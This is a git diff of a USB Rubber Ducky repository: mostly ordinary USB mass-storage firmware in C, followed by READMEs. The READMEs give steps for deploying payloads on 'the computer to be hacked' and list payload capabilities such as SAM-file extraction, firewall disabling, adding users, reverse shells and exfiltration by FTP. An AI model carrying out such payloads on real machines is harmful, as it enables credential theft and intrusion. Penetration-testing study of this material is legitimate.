a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/udi_msc.c b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/udi_msc.c new file mode 100755 index 0000000..22d14b2 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/udi_msc.c @@ -0,0 +1,813 @@ +/* + * udi_msc.c + * + * Created: 27/04/2012 15:58:27 + * Author: Andy + */ +#include "conf_usb.h" + #include "usb_protocol.h" + #include "usb_protocol_msc.h" + #include "spc_protocol.h" + #include "sbc_protocol.h" + #include "udd.h" + #include "udc.h" + #include "udi_msc.h" + #include "ctrl_access.h" + #include + + + + bool udi_msc_enable(void); + void udi_msc_disable(void); + bool udi_msc_setup(void); + uint8_t udi_msc_getsetting(void); + + UDC_DESC_STORAGE udi_api_t udi_api_msc = { + .enable = udi_msc_enable, + .disable = udi_msc_disable, + .setup = udi_msc_setup, + .getsetting = udi_msc_getsetting, + .sof_notify = NULL, + }; + + + #define UDI_MSC_BLOCK_SIZE 512L + + + + UDC_BSS(4) static struct usb_msc_cbw udi_msc_cbw; + UDC_DATA(4) static struct usb_msc_csw udi_msc_csw = + {.dCSWSignature = CPU_TO_BE32(USB_CSW_SIGNATURE) }; + UDC_DATA(4) static uint8_t udi_msc_nb_lun = 0; + UDC_BSS(4) static struct scsi_request_sense_data udi_msc_sense; + + + static bool udi_msc_b_cbw_invalid = false; + static bool udi_msc_b_trans_req = false; + static bool udi_msc_b_read; + static uint32_t udi_msc_addr; + static uint16_t udi_msc_nb_block; + volatile bool udi_msc_b_ack_trans = true; + volatile bool udi_msc_b_abort_trans; + + + + + + static void udi_msc_cbw_invalid(void); + + static void udi_msc_csw_invalid(void); + + static void udi_msc_cbw_wait(void); + + void udi_msc_cbw_received(udd_ep_status_t status, iram_size_t nb_received); + + static bool udi_msc_cbw_validate(uint32_t alloc_len, uint8_t dir_flag); + + + + static void udi_msc_data_send(uint8_t * buffer, uint8_t buf_size); + + void udi_msc_data_sent(udd_ep_status_t status, iram_size_t nb_sent); + + + + static void udi_msc_csw_process(void); + + void udi_msc_csw_send(void); + + void udi_msc_csw_sent(udd_ep_status_t status, iram_size_t nb_sent); + + + + static void udi_msc_clear_sense(void); + + static void udi_msc_sense_fail(uint8_t sense_key, uint16_t add_sense, + uint32_t lba); + + static void udi_msc_sense_pass(void); + + static void udi_msc_sense_fail_not_present(void); + + static void udi_msc_sense_fail_busy_or_change(void); + + static void udi_msc_sense_fail_hardware(void); + + static void udi_msc_sense_fail_protected(void); + + static void udi_msc_sense_fail_cdb_invalid(void); + + static void udi_msc_sense_command_invalid(void); + + + + static void udi_msc_spc_requestsense(void); + + static void udi_msc_spc_inquiry(void); + + static bool udi_msc_spc_testunitready_global(void); + + static void udi_msc_spc_testunitready(void); + + static void udi_msc_spc_mode_sense(bool b_sense10); + + static void udi_msc_sbc_read_capacity(void); + + static void udi_msc_sbc_trans(bool b_read); + + + + bool udi_msc_enable(void) + { + udi_msc_b_trans_req = false; + udi_msc_b_cbw_invalid = false; + udi_msc_nb_lun = get_nb_lun(); + if (0 == udi_msc_nb_lun) + return false; // No lun available, then not authorize to enable interface + udi_msc_nb_lun--; + // Call application callback + // to initialize memories or signal that interface is enabled + if (!UDI_MSC_ENABLE_EXT()) + return false; + // Start MSC process by CBW reception + udi_msc_cbw_wait(); + return true; + } + + + void udi_msc_disable(void) + { + udi_msc_b_trans_req = false; + UDI_MSC_DISABLE_EXT(); + } + + + bool udi_msc_setup(void) + { + if (Udd_setup_is_in()) { + // Requests Interface GET + if (Udd_setup_type() == USB_REQ_TYPE_CLASS) { + // Requests Class Interface Get + switch (udd_g_ctrlreq.req.bRequest) { + case USB_REQ_MSC_GET_MAX_LUN: + // Give the number of memories available + if (1 != udd_g_ctrlreq.req.wLength) + return false; // Error for USB host + if (0 != udd_g_ctrlreq.req.wValue) + return false; + udd_g_ctrlreq.payload = &udi_msc_nb_lun; + udd_g_ctrlreq.payload_size = 1; + return true; + } + } + } + if (Udd_setup_is_out()) { + // Requests Interface SET + if (Udd_setup_type() == USB_REQ_TYPE_CLASS) { + // Requests Class Interface Set + switch (udd_g_ctrlreq.req.bRequest) { + case USB_REQ_MSC_BULK_RESET: + // Reset MSC interface + if (0 != udd_g_ctrlreq.req.wLength) + return false; + if (0 != udd_g_ctrlreq.req.wValue) + return false; + udi_msc_b_cbw_invalid = false; + udi_msc_b_trans_req = false; + // Abort all tasks (transfer or clear stall wait) on endpoints + udd_ep_abort(UDI_MSC_EP_OUT); + udd_ep_abort(UDI_MSC_EP_IN); + // Restart by CBW wait + udi_msc_cbw_wait(); + return true; + } + } + } + return false; // Not supported request + } + + uint8_t udi_msc_getsetting(void) + { + return 0; // MSC don't have multiple alternate setting + } + + + //--------------------------------------------- + //------- Routines to process CBW packet + + static void udi_msc_cbw_invalid(void) + { + if (!udi_msc_b_cbw_invalid) + return; // Don't restall endpoint if error reseted by setup + udd_ep_set_halt(UDI_MSC_EP_OUT); + // If stall cleared then restall it. Only Setup MSC Reset can clear it + udd_ep_wait_stall_clear(UDI_MSC_EP_OUT, udi_msc_cbw_invalid); + } + + static void udi_msc_csw_invalid(void) + { + if (!udi_msc_b_cbw_invalid) + return; // Don't restall endpoint if error reseted by setup + udd_ep_set_halt(UDI_MSC_EP_IN); + // If stall cleared then restall it. Only Setup MSC Reset can clear it + udd_ep_wait_stall_clear(UDI_MSC_EP_IN, udi_msc_csw_invalid); + } + + static void udi_msc_cbw_wait(void) + { + // Register buffer and callback on OUT endpoint + if (!udd_ep_run(UDI_MSC_EP_OUT, true, + (uint8_t *) & udi_msc_cbw, + sizeof(udi_msc_cbw), + udi_msc_cbw_received)) { + // OUT endpoint not available (halted), then wait a clear of halt. + udd_ep_wait_stall_clear(UDI_MSC_EP_OUT, udi_msc_cbw_wait); + } + } + + + void udi_msc_cbw_received(udd_ep_status_t status, iram_size_t nb_received) + { + // Check status of transfer + if (UDD_EP_TRANSFER_OK != status) { + // Tranfert aborted + // Now wait MSC setup reset to relaunch CBW reception + return; + } + // Check CBW integrity: + // transfer status/CBW length/CBW signature + if ((sizeof(udi_msc_cbw) != nb_received) + || (udi_msc_cbw.dCBWSignature != + CPU_TO_BE32(USB_CBW_SIGNATURE))) { + // (5.2.1) Devices receiving a CBW with an invalid signature should stall + // further traffic on the Bulk In pipe, and either stall further traffic + // or accept and discard further traffic on the Bulk Out pipe, until + // reset recovery. + udi_msc_b_cbw_invalid = true; + udi_msc_cbw_invalid(); + udi_msc_csw_invalid(); + return; + } + // Check LUN asked + udi_msc_cbw.bCBWLUN &= USB_CBW_LUN_MASK; + if (udi_msc_cbw.bCBWLUN > udi_msc_nb_lun) { + // Bad LUN, then stop command process + udi_msc_sense_fail_cdb_invalid(); + udi_msc_csw_process(); + return; + } + // Prepare CSW residue field with the size requested + udi_msc_csw.dCSWDataResidue = + le32_to_cpu(udi_msc_cbw.dCBWDataTransferLength); + + // Decode opcode + switch (udi_msc_cbw.CDB[0]) { + case SPC_REQUEST_SENSE: + udi_msc_spc_requestsense(); + break; + + case SPC_INQUIRY: + udi_msc_spc_inquiry(); + break; + + case SPC_MODE_SENSE6: + udi_msc_spc_mode_sense(false); + break; + case SPC_MODE_SENSE10: + udi_msc_spc_mode_sense(true); + break; + + case SPC_TEST_UNIT_READY: + udi_msc_spc_testunitready(); + break; + + case SBC_READ_CAPACITY10: + udi_msc_sbc_read_capacity(); + break; + + // Optional but can not reply INVALID COMMAND because + // this command is used by the Linux 2.4 kernel. + // Otherwise the disk will not mount. + case SBC_START_STOP_UNIT: + // Accepts request to support plug/plug in case of card reader + case SPC_PREVENT_ALLOW_MEDIUM_REMOVAL: + // Accepts request to support full format from Windows + case SBC_VERIFY10: + udi_msc_sense_pass(); + udi_msc_csw_process(); + break; + + case SBC_READ10: + udi_msc_sbc_trans(true); + break; + + case SBC_WRITE10: + udi_msc_sbc_trans(false); + break; + + default: + udi_msc_sense_command_invalid(); + udi_msc_csw_process(); + break; + } + } + + + static bool udi_msc_cbw_validate(uint32_t alloc_len, uint8_t dir_flag) + { + /* + * The following cases should result in a phase error: + * - Case 2: Hn < Di + * - Case 3: Hn < Do + * - Case 7: Hi < Di + * - Case 8: Hi <> Do + * - Case 10: Ho <> Di + * - Case 13: Ho < Do + */ + if (((udi_msc_cbw.bmCBWFlags ^ dir_flag) & USB_CBW_DIRECTION_IN) + || (udi_msc_csw.dCSWDataResidue < alloc_len)) { + udi_msc_sense_fail_cdb_invalid(); + udi_msc_csw_process(); + return false; + } + + /* + * The following cases should result in a stall and nonzero + * residue: + * - Case 4: Hi > Dn + * - Case 5: Hi > Di + * - Case 9: Ho > Dn + * - Case 11: Ho > Do + */ + return true; + } + + + //--------------------------------------------- + //------- Routines to process small data packet + + static void udi_msc_data_send(uint8_t * buffer, uint8_t buf_size) + { + // Sends data on IN endpoint + if (!udd_ep_run(UDI_MSC_EP_IN, true, + buffer, buf_size, udi_msc_data_sent)) { + // If endpoint not available, then exit process command + udi_msc_sense_fail_hardware(); + udi_msc_csw_process(); + } + } + + + void udi_msc_data_sent(udd_ep_status_t status, iram_size_t nb_sent) + { + if (UDD_EP_TRANSFER_OK != status) { + // Error protocol + // Now wait MSC setup reset to relaunch CBW reception + return; + } + // Update sense data + udi_msc_sense_pass(); + // Update CSW + udi_msc_csw.dCSWDataResidue -= nb_sent; + udi_msc_csw_process(); + } + + + //--------------------------------------------- + //------- Routines to process CSW packet + + static void udi_msc_csw_process(void) + { + if (0 != udi_msc_csw.dCSWDataResidue) { + // Residue not NULL + // then STALL next request from USB host on corresponding endpoint + if (udi_msc_cbw.bmCBWFlags & USB_CBW_DIRECTION_IN) + udd_ep_set_halt(UDI_MSC_EP_IN); + else + udd_ep_set_halt(UDI_MSC_EP_OUT); + } + // Prepare and send CSW + udi_msc_csw.dCSWTag = udi_msc_cbw.dCBWTag; + udi_msc_csw.dCSWDataResidue = cpu_to_le32(udi_msc_csw.dCSWDataResidue); + udi_msc_csw_send(); + } + + + void udi_msc_csw_send(void) + { + // Sends CSW on IN endpoint + if (!udd_ep_run(UDI_MSC_EP_IN, false, + (uint8_t *) & udi_msc_csw, + sizeof(udi_msc_csw), + udi_msc_csw_sent)) { + // Endpoint not available + // then restart CSW sent when endpoint IN STALL will be cleared + udd_ep_wait_stall_clear(UDI_MSC_EP_IN, udi_msc_csw_send); + } + } + + + void udi_msc_csw_sent(udd_ep_status_t status, iram_size_t nb_sent) + { + // CSW is sent or not + // In all case, restart process and wait CBW + udi_msc_cbw_wait(); + } + + + //--------------------------------------------- + //------- Routines manage sense data + + static void udi_msc_clear_sense(void) + { + memset((uint8_t*)&udi_msc_sense, 0, sizeof(struct scsi_request_sense_data)); + udi_msc_sense.valid_reponse_code = SCSI_SENSE_VALID | SCSI_SENSE_CURRENT; + udi_msc_sense.AddSenseLen = SCSI_SENSE_ADDL_LEN(sizeof(udi_msc_sense)); + } + + static void udi_msc_sense_fail(uint8_t sense_key, uint16_t add_sense, + uint32_t lba) + { + udi_msc_clear_sense(); + udi_msc_csw.bCSWStatus = USB_CSW_STATUS_FAIL; + udi_msc_sense.sense_flag_key = sense_key; + udi_msc_sense.information[0] = lba >> 24; + udi_msc_sense.information[1] = lba >> 16; + udi_msc_sense.information[2] = lba >> 8; + udi_msc_sense.information[3] = lba; + udi_msc_sense.AddSenseCode = add_sense >> 8; + udi_msc_sense.AddSnsCodeQlfr = add_sense; + } + + static void udi_msc_sense_pass(void) + { + udi_msc_clear_sense(); + udi_msc_csw.bCSWStatus = USB_CSW_STATUS_PASS; + } + + + static void udi_msc_sense_fail_not_present(void) + { + udi_msc_sense_fail(SCSI_SK_NOT_READY, SCSI_ASC_MEDIUM_NOT_PRESENT, 0); + } + + static void udi_msc_sense_fail_busy_or_change(void) + { + udi_msc_sense_fail(SCSI_SK_UNIT_ATTENTION, + SCSI_ASC_NOT_READY_TO_READY_CHANGE, 0); + } + + static void udi_msc_sense_fail_hardware(void) + { + udi_msc_sense_fail(SCSI_SK_HARDWARE_ERROR, + SCSI_ASC_NO_ADDITIONAL_SENSE_INFO, 0); + } + + static void udi_msc_sense_fail_protected(void) + { + udi_msc_sense_fail(SCSI_SK_DATA_PROTECT, SCSI_ASC_WRITE_PROTECTED, 0); + } + + static void udi_msc_sense_fail_cdb_invalid(void) + { + udi_msc_sense_fail(SCSI_SK_ILLEGAL_REQUEST, + SCSI_ASC_INVALID_FIELD_IN_CDB, 0); + } + + static void udi_msc_sense_command_invalid(void) + { + udi_msc_sense_fail(SCSI_SK_ILLEGAL_REQUEST, + SCSI_ASC_INVALID_COMMAND_OPERATION_CODE, 0); + } + + + //--------------------------------------------- + //------- Routines manage SCSI Commands + + static void udi_msc_spc_requestsense(void) + { + uint8_t length = udi_msc_cbw.CDB[4]; + + // Can't send more than sense data length + if (length > sizeof(udi_msc_sense)) + length = sizeof(udi_msc_sense); + + if (!udi_msc_cbw_validate(length, USB_CBW_DIRECTION_IN)) + return; + // Send sense data + udi_msc_data_send((uint8_t*)&udi_msc_sense, length); + } + + + static void udi_msc_spc_inquiry(void) + { + uint8_t length, i; + UDC_DATA(4) + // Constant inquiry data for all LUNs + static struct scsi_inquiry_data udi_msc_inquiry_data = { + .pq_pdt = SCSI_INQ_PQ_CONNECTED | SCSI_INQ_DT_DIR_ACCESS, + #ifdef UDI_MSC_NOT_REMOVABLE + .flags1 = 0, + #else + .flags1 = SCSI_INQ_RMB, + #endif + .version = SCSI_INQ_VER_SPC, + .flags3 = SCSI_INQ_RSP_SPC2, + .addl_len = SCSI_INQ_ADDL_LEN(sizeof(struct scsi_inquiry_data)), + .vendor_id = {UDI_MSC_GLOBAL_VENDOR_ID}, + .product_rev = {UDI_MSC_GLOBAL_PRODUCT_VERSION}, + }; + + length = udi_msc_cbw.CDB[4]; + + // Can't send more than inquiry data length + if (length > sizeof(udi_msc_inquiry_data)) + length = sizeof(udi_msc_inquiry_data); + + if (!udi_msc_cbw_validate(length, USB_CBW_DIRECTION_IN)) + return; + if ((0 != (udi_msc_cbw.CDB[1] & (SCSI_INQ_REQ_EVPD | SCSI_INQ_REQ_CMDT))) + || (0 != udi_msc_cbw.CDB[2])) { + // CMDT and EPVD bits are not at 0 + // PAGE or OPERATION CODE fields are not empty + // = No standard inquiry asked + udi_msc_sense_fail_cdb_invalid(); // Command is unsupported + udi_msc_csw_process(); + return; + } + //* Fill product ID field + // Copy name in product id field + memcpy(udi_msc_inquiry_data.product_id, + mem_name(udi_msc_cbw.bCBWLUN), + sizeof(udi_msc_inquiry_data.product_id)); + // Search end of name '/0' + i = 0; + while (sizeof(udi_msc_inquiry_data.product_id) != i) { + if (0 == udi_msc_inquiry_data.product_id[i]) + break; + i++; + } + // Padding with space char + while (sizeof(udi_msc_inquiry_data.product_id) != i) { + udi_msc_inquiry_data.product_id[i] = ' '; + i++; + } + + // Send inquiry data + udi_msc_data_send((uint8_t *) & udi_msc_inquiry_data, length); + } + + + static bool udi_msc_spc_testunitready_global(void) + { + switch (mem_test_unit_ready(udi_msc_cbw.bCBWLUN)) { + case CTRL_GOOD: + return true; // Don't change sense data + case CTRL_BUSY: + udi_msc_sense_fail_busy_or_change(); + break; + case CTRL_NO_PRESENT: + udi_msc_sense_fail_not_present(); + break; + case CTRL_FAIL: + default: + udi_msc_sense_fail_hardware(); + break; + } + return false; + } + + + static void udi_msc_spc_testunitready(void) + { + if (udi_msc_spc_testunitready_global()) { + // LUN ready, then update sense data with status pass + udi_msc_sense_pass(); + } + // Send status in CSW packet + udi_msc_csw_process(); + } + + + static void udi_msc_spc_mode_sense(bool b_sense10) + { + // Union of all mode sense structures + union sense_6_10 { + struct { + struct scsi_mode_param_header6 header; + struct spc_control_page_info_execpt sense_data; + } s6; + struct { + struct scsi_mode_param_header10 header; + struct spc_control_page_info_execpt sense_data; + } s10; + }; + + uint8_t data_sense_lgt; + uint8_t mode; + uint8_t request_lgt; + uint8_t wp; + struct spc_control_page_info_execpt *ptr_mode; + UDC_BSS(4) static union sense_6_10 sense; + + // Clear all fields + memset(&sense, 0, sizeof(sense)); + + // Initialize process + if (b_sense10) { + request_lgt = udi_msc_cbw.CDB[8]; + ptr_mode = &sense.s10.sense_data; + data_sense_lgt = sizeof(struct scsi_mode_param_header10); + } else { + request_lgt = udi_msc_cbw.CDB[4]; + ptr_mode = &sense.s6.sense_data; + data_sense_lgt = sizeof(struct scsi_mode_param_header6); + } + + // No Block descriptor + + // Fill page(s) + mode = udi_msc_cbw.CDB[2] & SCSI_MS_MODE_ALL; + if ((SCSI_MS_MODE_INFEXP == mode) + || (SCSI_MS_MODE_ALL == mode)) { + // Informational exceptions control page (from SPC) + ptr_mode->page_code = + SCSI_MS_MODE_INFEXP; + ptr_mode->page_length = + SPC_MP_INFEXP_PAGE_LENGTH; + ptr_mode->mrie = + SPC_MP_INFEXP_MRIE_NO_SENSE; + data_sense_lgt += sizeof(struct spc_control_page_info_execpt); + } + // Can't send more than mode sense data length + if (request_lgt > data_sense_lgt) + request_lgt = data_sense_lgt; + if (!udi_msc_cbw_validate(request_lgt, USB_CBW_DIRECTION_IN)) + return; + + // Fill mode parameter header length + wp = (mem_wr_protect(udi_msc_cbw.bCBWLUN)) ? SCSI_MS_SBC_WP : 0; + + if (b_sense10) { + sense.s10.header.mode_data_length = + cpu_to_be16((data_sense_lgt - 2)); + //sense.s10.header.medium_type = 0; + sense.s10.header.device_specific_parameter = wp; + //sense.s10.header.block_descriptor_length = 0; + } else { + sense.s6.header.mode_data_length = data_sense_lgt - 1; + //sense.s6.header.medium_type = 0; + sense.s6.header.device_specific_parameter = wp; + //sense.s6.header.block_descriptor_length = 0; + } + + // Send mode sense data + udi_msc_data_send((uint8_t *) & sense, request_lgt); + } + + + static void udi_msc_sbc_read_capacity(void) + { + UDC_BSS(4) static struct sbc_read_capacity10_data udi_msc_capacity; + + if (!udi_msc_cbw_validate(sizeof(udi_msc_capacity), + USB_CBW_DIRECTION_IN)) + return; + + // Get capacity of LUN + switch (mem_read_capacity(udi_msc_cbw.bCBWLUN, + &udi_msc_capacity.max_lba)) { + case CTRL_GOOD: + break; + case CTRL_BUSY: + udi_msc_sense_fail_busy_or_change(); + udi_msc_csw_process(); + return; + case CTRL_NO_PRESENT: + udi_msc_sense_fail_not_present(); + udi_msc_csw_process(); + return; + default: + udi_msc_sense_fail_hardware(); + udi_msc_csw_process(); + return; + } + + // Format capacity data + udi_msc_capacity.block_len = CPU_TO_BE32(UDI_MSC_BLOCK_SIZE); + udi_msc_capacity.max_lba = cpu_to_be32(udi_msc_capacity.max_lba); + // Send the corresponding sense data + udi_msc_data_send((uint8_t *) & udi_msc_capacity, + sizeof(udi_msc_capacity)); + } + + + static void udi_msc_sbc_trans(bool b_read) + { + uint32_t trans_size; + + if (!b_read) { + // Write operation then check Write Protect + if (mem_wr_protect(udi_msc_cbw.bCBWLUN)) { + // Write not authorized + udi_msc_sense_fail_protected(); + udi_msc_csw_process(); + return; + } + } + // Read/Write command fields (address and number of block) + MSB0(udi_msc_addr) = udi_msc_cbw.CDB[2]; + MSB1(udi_msc_addr) = udi_msc_cbw.CDB[3]; + MSB2(udi_msc_addr) = udi_msc_cbw.CDB[4]; + MSB3(udi_msc_addr) = udi_msc_cbw.CDB[5]; + MSB(udi_msc_nb_block) = udi_msc_cbw.CDB[7]; + LSB(udi_msc_nb_block) = udi_msc_cbw.CDB[8]; + + // Compute number of byte to transfer and valid it + trans_size = (uint32_t) udi_msc_nb_block *UDI_MSC_BLOCK_SIZE; + if (!udi_msc_cbw_validate(trans_size, + (b_read) ? USB_CBW_DIRECTION_IN : + USB_CBW_DIRECTION_OUT)) + return; + + // Record transfer request to do it in main loop and not under interrupt + udi_msc_b_read = b_read; + udi_msc_b_trans_req = true; + } + + + bool udi_msc_process_trans(void) + { + Ctrl_status status; + + if (!udi_msc_b_trans_req) + return false; // No Transfer request to do + udi_msc_b_trans_req = false; + + // Start transfer + if (udi_msc_b_read) { + status = memory_2_usb(udi_msc_cbw.bCBWLUN, udi_msc_addr, + udi_msc_nb_block); + } else { + status = usb_2_memory(udi_msc_cbw.bCBWLUN, udi_msc_addr, + udi_msc_nb_block); + } + + // Check status of transfer + switch (status) { + case CTRL_GOOD: + udi_msc_sense_pass(); + break; + case CTRL_BUSY: + udi_msc_sense_fail_busy_or_change(); + break; + case CTRL_NO_PRESENT: + udi_msc_sense_fail_not_present(); + break; + default: + case CTRL_FAIL: + udi_msc_sense_fail_hardware(); + break; + } + // Send status of transfer in CSW packet + udi_msc_csw_process(); + return true; + } + + + static void udi_msc_trans_ack(udd_ep_status_t status, iram_size_t n) + { + // Update variable to signal the end of transfer + udi_msc_b_abort_trans = (UDD_EP_TRANSFER_OK != status) ? true : false; + udi_msc_b_ack_trans = true; + } + + + bool udi_msc_trans_block(bool b_read, uint8_t * block, iram_size_t block_size, + void (*callback) (udd_ep_status_t status, iram_size_t n)) + { + if (!udi_msc_b_ack_trans) + return false; // No possible, transfer on going + + // Start transfer Internal RAM<->USB line + udi_msc_b_ack_trans = false; + if (!udd_ep_run((b_read) ? UDI_MSC_EP_IN : UDI_MSC_EP_OUT, + false, + block, + block_size, + (NULL == callback) ? udi_msc_trans_ack : + callback)) { + udi_msc_b_ack_trans = true; + return false; + } + if (NULL == callback) { + while (!udi_msc_b_ack_trans); + if (udi_msc_b_abort_trans) { + return false; + } + udi_msc_csw.dCSWDataResidue -= block_size; + return (!udi_msc_b_abort_trans); + } + udi_msc_csw.dCSWDataResidue -= block_size; + return true; + } \ No newline at end of file diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/udi_msc.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/udi_msc.h new file mode 100755 index 0000000..890aa6d --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/udi_msc.h @@ -0,0 +1,78 @@ + #ifndef _UDI_MSC_H_ + #define _UDI_MSC_H_ + + #include "conf_usb.h" + #include "usb_protocol.h" + #include "usb_protocol_msc.h" + #include "udd.h" + #include "udc_desc.h" + #include "udi.h" + + #ifdef __cplusplus + extern "C" { + #endif + + + typedef struct { + usb_iface_desc_t iface; + usb_ep_desc_t ep_in; + usb_ep_desc_t ep_out; + } udi_msc_desc_t; + + #ifndef UDI_MSC_STRING_ID + #define UDI_MSC_STRING_ID 0 + #endif + + #define UDI_MSC_EPS_SIZE_FS 64 + + #define UDI_MSC_EPS_SIZE_HS 512 + + #define UDI_MSC_DESC \ + .iface.bLength = sizeof(usb_iface_desc_t),\ + .iface.bDescriptorType = USB_DT_INTERFACE,\ + .iface.bInterfaceNumber = UDI_MSC_IFACE_NUMBER,\ + .iface.bAlternateSetting = 0,\ + .iface.bNumEndpoints = 2,\ + .iface.bInterfaceClass = MSC_CLASS,\ + .iface.bInterfaceSubClass = MSC_SUBCLASS_TRANSPARENT,\ + .iface.bInterfaceProtocol = MSC_PROTOCOL_BULK,\ + .iface.iInterface = UDI_MSC_STRING_ID,\ + .ep_in.bLength = sizeof(usb_ep_desc_t),\ + .ep_in.bDescriptorType = USB_DT_ENDPOINT,\ + .ep_in.bEndpointAddress = UDI_MSC_EP_IN,\ + .ep_in.bmAttributes = USB_EP_TYPE_BULK,\ + .ep_in.bInterval = 0,\ + .ep_out.bLength = sizeof(usb_ep_desc_t),\ + .ep_out.bDescriptorType = USB_DT_ENDPOINT,\ + .ep_out.bEndpointAddress = UDI_MSC_EP_OUT,\ + .ep_out.bmAttributes = USB_EP_TYPE_BULK,\ + .ep_out.bInterval = 0, + + #define UDI_MSC_DESC_FS {\ + UDI_MSC_DESC \ + .ep_in.wMaxPacketSize = LE16(UDI_MSC_EPS_SIZE_FS),\ + .ep_out.wMaxPacketSize = LE16(UDI_MSC_EPS_SIZE_FS),\ + } + + #define UDI_MSC_DESC_HS {\ + UDI_MSC_DESC \ + .ep_in.wMaxPacketSize = LE16(UDI_MSC_EPS_SIZE_HS),\ + .ep_out.wMaxPacketSize = LE16(UDI_MSC_EPS_SIZE_HS),\ + } + + + + extern UDC_DESC_STORAGE udi_api_t udi_api_msc; + + + bool udi_msc_process_trans(void); + + bool udi_msc_trans_block(bool b_read, uint8_t * block, iram_size_t block_size, + void (*callback) (udd_ep_status_t status, iram_size_t n)); + + + + #ifdef __cplusplus + } + #endif + #endif // _UDI_MSC_H_ \ No newline at end of file diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/ui.c b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/ui.c new file mode 100755 index 0000000..f58e71b --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/ui.c @@ -0,0 +1,58 @@ +#include "compiler.h" + #include "conf_usb.h" + #include "udi_msc.h" + #include "board.h" + #include "gpio.h" + #include "ui.h" + #include "led.h" + + void ui_init(void) + { + LED_On(LED0); + LED_Off(LED1); + } + + void ui_powerdown(void) + { + LED_Off(LED0); + LED_Off(LED1); + } + + void ui_wakeup(void) + { + LED_On(LED0); + } + + void ui_start_read(void) + { + LED_On(LED1); + } + + void ui_stop_read(void) + { + LED_Off(LED1); + } + + void ui_start_write(void) + { + LED_On(LED0); + LED_On(LED1); + } + + void ui_stop_write(void) + { + LED_Off(LED0); + LED_Off(LED1); + } + + void ui_process(uint16_t framenumber) + { + if ((framenumber % 1000) == 0) { + //LED_On(LED1); + } + if ((framenumber % 1000) == 500) { + //LED_Off(LED1); + } + } + + \ No newline at end of file diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/ui.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/ui.h new file mode 100755 index 0000000..9ace53c --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/ui.h @@ -0,0 +1,17 @@ + #ifndef _UI_H_ + #define _UI_H_ + + void ui_init(void); + + void ui_powerdown(void); + + void ui_wakeup(void); + + void ui_start_read(void); + void ui_stop_read(void); + void ui_start_write(void); + void ui_stop_write(void); + + void ui_process(uint16_t framenumber); + + #endif // _UI_H_ \ No newline at end of file diff --git a/Rubber_Duck/HAK/README.txt b/Rubber_Duck/HAK/README.txt new file mode 100644 index 0000000..85005bc --- /dev/null +++ b/Rubber_Duck/HAK/README.txt @@ -0,0 +1,5 @@ + _ _ _ USB _ _ _ + __(.)< __(.)> __(.)= Rubber >(.)__ <(.)__ =(.)__ + \___) \___) \___) Ducky! (___/ (___/ (___/ + +The USB Rubber Ducky is a Human Interface Device programmable with a simple scripting language allowing penetration testers to quickly and easily craft and deploy security auditing payloads that mimic human keyboard input. The source is written in C and requires the AVR Studio 5 IDE from atmel.com/avrstudio. Hardware is commercially available at hakshop.com. Tools and payloads can be found at usbrubberducky.com. Quack! diff --git a/Rubber_Duck/README.md b/Rubber_Duck/README.md new file mode 100644 index 0000000..a3e0de8 --- /dev/null +++ b/Rubber_Duck/README.md @@ -0,0 +1,50 @@ +Introduction +============ + +The [USB Rubber Ducky](https://hakshop.myshopify.com/products/usb-rubber-ducky-deluxe) is an open source Penetration Testing tool for authorized network auditing and security analysis purposes only where permitted subject local and international laws where applicable + +This is a repository with all the hacks I have created. + +In the folder HAK I left the original repository from Hak5. + +In the folder bt3gl I left my hacks. + +The Duck +--------- + +The duck usb consist of a 60 MHz 32-bit CPU under the form of a USB stick. The input +is given by a loaded Micro SD storage. + +The hacking consists in: + +1) Download the payload (a bin file) in the micro SD storage (from your computer). Many payloads are available here, and other can be composed [here](http://ducktoolkit-411.rhcloud.com/Home.jsp). + +2) Plug the micro SD into the USB-CPU. + +3) Insert the USB in the computer to be hacked. + +4) When you see the command prompt window be closed, you may remove the stick. + +Quack!!!! + + +Disclaimer +---------- + +I am a computer scientist, i.e., I study the science of computers. Everything in this tutorial is part of this study and I DO NOT APPROVE, SUPPORT, OR ENDORSE ILLEGAL ACTIONS. + + +Enjoy and Be Social! +-------------------- + +Drop me a line at byt3g1rl@gmail.com + + +Hak5's Introduction +-------------------- + + _ _ _ _ _ _ + __(.)< __(.)> __(.)= Rubber >(.)__ <(.)__ =(.)__ + \___) \___) \___) Ducky! (___/ (___/ (___/ + +The USB Rubber Ducky is a Human Interface Device programmable with a simple scripting language allowing penetration testers to quickly and easily craft and deploy security auditing payloads that mimic human keyboard input. The source is written in C and requires the AVR Studio 5 IDE from atmel.com/avrstudio. Hardware is commercially available at hakshop.com. Tools and payloads can be found at usbrubberducky.com. Quack! diff --git a/Rubber_Duck/bt3gl/README.md b/Rubber_Duck/bt3gl/README.md new file mode 100644 index 0000000..0b895bb --- /dev/null +++ b/Rubber_Duck/bt3gl/README.md @@ -0,0 +1,131 @@ +The Payloads +============ + +The scripts are written in PowerShell (only work against target machines with PowerShell installed, i.e. Windows 7/8, Windows Server 2008. Administrative access is also required. + + +The payloads are from three categories: + +* Reconnaissance (reports are generated with information about the target computer): +Computer Information +User Information +USB Information +Shared Drive Information +Program Information +Installed Updates +User Document List +Basic Network Information +Network Scan +Port Scan +Copy Wireless Profile +Take Screen Captures +Copy FireFox Profile +Extract SAM File + + +* Exploitation: +Find and Upload File (FTP) +Disable Firewall +Add User +Open Firewall Port +Start Wi-Fi Access Point +Share C:\ Drive +Enable RDP +Create a Reverse Shell +Local DNS Poisoning +Delete a Windows Update + + +* Reporting (always together with the above items): +Save Report to Target Machine +FTP Report to External Host +Email Report to GMAIL Account +Save Files to USB Drive + +We will use the last one in our payloads. + +Note that we use the name QUACK for the usb stick. + + + +Ducky Syntax +============ + +* Each command resides on a new line + +* Commands are ALL CAPS + +* Lines beginning with REM will not be processed + +* DEFAULT_DELAY or DEFAULTDELAY is used to define how long (in 